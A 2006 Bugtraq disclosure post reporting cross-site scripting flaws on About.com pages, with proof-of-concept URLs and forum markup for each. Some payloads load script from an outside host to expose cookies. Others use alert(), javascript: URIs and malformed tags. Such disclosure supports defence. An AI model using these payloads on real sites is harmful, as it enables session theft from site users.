bugtraq - About.com - XSS with cookie disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060613063649.17587.qmail@securityfocus.com>
Date: 13 Jun 2006 06:36:49 -0000
From: luny@...fucktard.com
To: bugtraq@...urityfocus.com
Subject: About.com - XSS with cookie disclosure


About.com

Homepage:
http://www.about.com

Effected files:
Search input box
fullsearch.htm
shortform.htm
forum.aspx
profile_center.asp
posting in the forum
-----------------------------------

Search input box xss vuln with cookie disclosure:
Works by putting the <script> tags in the input box, or doing url injection. There seemsto be no sanatizing user input here. PoC:
http://search.about.com/fullsearch.htm?terms=<script%20src=http://www.youfucktard.com/xs.js></script>

Screenshots:
http://www.youfucktard.com/xsp/about1.jpg
http://www.youfucktard.com/xsp/about2.jpg

-----------------------------------------

Shortform.htm XSS vuln no filter evasion needed:
http://login.about.com/shortform.htm?Error=<SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>

Screenshots:
http://www.youfucktard.com/xsp/about3.jpg

---------------------------------------------

Forum.aspx xss vuln. Here we have malformed image tags, as well as empty script tags:

PoC:
http://forums.about.com/n/pfx/forum.aspx?nav=messages&tsn=<IMG%20"""><SCRIPT></SCRIPT>">1&tid=1456">">"><"">'>'>'><"<IMG%20"""><IMG%20"""><SCRIPT></SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>">"><"<"<"<"<""><"<"<'<'&webtag=ab-vgstrategies

------------------------------------------------------

Profile_center.asp xss vuln:

http://forums.about.com/dir-app/bbCard/profile_center.asp?webtag=ab-vgstrategies&cType=2&uName=jonne1234">">"><IMG%20SRC=javascript:alert('XSS')><"<"<"&dMode=0&eBtn=0&uid=1574961808

------------------------------------------------------

Posting in the forum XSS vuln. This time we'll use the allowed tags <table>. For PoC try posting this in the forum:

<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<TABLE BACKGROUND="javascript:alert('XSS')">

Screenshots:
http://www.youfucktard.com/xsp/about4.jpg
http://www.youfucktard.com/xsp/about5.jpg